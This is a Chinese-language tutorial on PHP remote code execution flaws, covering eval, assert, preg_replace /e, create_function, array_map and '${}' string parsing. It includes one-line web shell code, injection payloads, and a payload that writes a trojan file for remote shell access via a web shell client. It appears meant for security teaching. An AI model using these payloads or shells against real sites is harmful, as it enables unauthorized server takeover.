代码执行漏洞(RCE:远程命令或者代码执行)
原理:用户输入的数据,被当做后端代码进行执行
代码执行:用户输入的数据,被当做后端代码进行执行
命令执行:用户输入的数据,被当系统进行执行
在php中有许多的代码执行函数
例如
- <php eval($_request[8]);?> //eval 把字符串作为PHP代码执行. 可以多行执行
- <php assert($_request[8]);?> //assert将传入的参数当成PHP代码.只能单行执行
怎么利用assert函数进行多行执行呢?
答:assert函数 只能单行执行,但是eval可以进行多行呀
- 我们可以直接调用eval函数,这样是不是单行执行呀!
比如后端代码是:<php assert($_request[8]);?>
我们可以在URL栏写入:127.0.0.1/1.php?8=eval ('echo 123;phpinfo';)
(2)写文件,把你需要执行的全部代码写入文件,文件里可以写入多行吧
File_put_contents('123.php','<php echo 123;phpinfo();?>');
file_put_contents函数 //将一个字符串写入文件
这里的意思就是 将123和phpinfo写入到123.php文件里面
3.preg_replace函数 //正则替换
preg_replace ('/a/','b','aabbwe')这里就是a替换成b 输出显示bbbbwe
这个时候就会有人说了 这个有啥用呀?
本身确实没啥问题,造成问题的是他的修饰符
在正则表达式,有许多的修饰符对吧,而有一个修饰符 /e
/e 的核心:用户输入的第二个参数会被当作代码执行
比如:preg_replace ('/a/e','phpinfo','aabbwe')
这里的第二个参数 就会被当作代码进行一个执行
假如你可以控制目标网站正则表达式的规则呢?是不是就很危险
注意:如果在需要的匹配替换里面没有a, 那么他是不会进行一个执行的(像 preg_replace ('/a/e','phpinfo','bbbbwe')
4.create_function //匿名函数 自定义的函数
create_function(第一个参数是形参,第二个参数是可执行代码);
这个函数 对于一些代码不是很好的小伙伴 理解起来非常吃力
我举个例子好吧
- 匿名函数简单来说:就是用户自己创建的一个函数,但是它是没有名字的一个函数
- create_function()这个函数的意思就创建一个匿名函数
- 你只要理解他里面的参数是作用就好了,第一个参数就是形参,意思就是你去调用这个函数,然后给他传递参数
- 比如这个例子中,我创建了一个匿名函数
$a = create_function('$id','echo $id'); 然后这个$a就代表了这个匿名函数(可以理解为函数名),然后调用$a给他传个参数 8 $a(8);然后这个8就会作为参数给了变量$id,然后执行了echo $id
- $a 就相当于一个函数了
- 我们去调用$a
- $a(8)
- 给这个函数传递了一个参数8
- $id = 8
- 再去执行了 echo $id;
- 就输出了8
然后我们替换一下 改成
$a = create_function('$id',$_REQUEST[8]);
$a(10)
原理是一样的 如果我们能控制 就可以拿shell
这个时候肯定会有人说 如果$a(10)没有呢 无法调用?
我们可以输入 1.php?8=}phpinfo();//
}会和他前面的{进行闭合
//会注释掉后面的}
最后就形成了phpinfo();
就可以菜刀连接
5.array_map //回调函数,调用某个函数
举个例子
function //定义一个函数 定义 cube($n)
return //函数执行后返回的一个内容 将执行的东西放进($n*$n*$n)
也是说$a=[1,2,3,4,5]; 会放进($n*$n*$n)
1x1x1=1
2x2x2=8
3x3x3=27
懂我的意思吧
这里就很明显了array_map的作用了 他会将函数依次放入数组去进行一个执行
我们换成array_map($_REQUEST[1],$_REQUEST);
call_user_func() 也可回调,回调函数在PHP有很多
还有许多函数 (大家可以自行百度)
6.特殊组合(双引号二次解析)
[PHP版本5.5及其以上版本可以使用]
在PHP的官方文档中也有描述https://www.php.net/manual/zh/language.types.string.php
"${phpinfo()}"; => 代码执行phpinfo()
意思就是说当$和{紧挨在一起的时候 就会被当作代码进行执行
${phpinfo()};
另外还可以利用file_put_contents这个函数 写文件的大家都学过
"${file_put_contents('16.php','<?php eval($_REQUEST[8])?>')}";
利用这个函数将一句话木马写到16.php 对吧 没毛病
然后访问16.php?8=phpinfo();(懂我意思吧)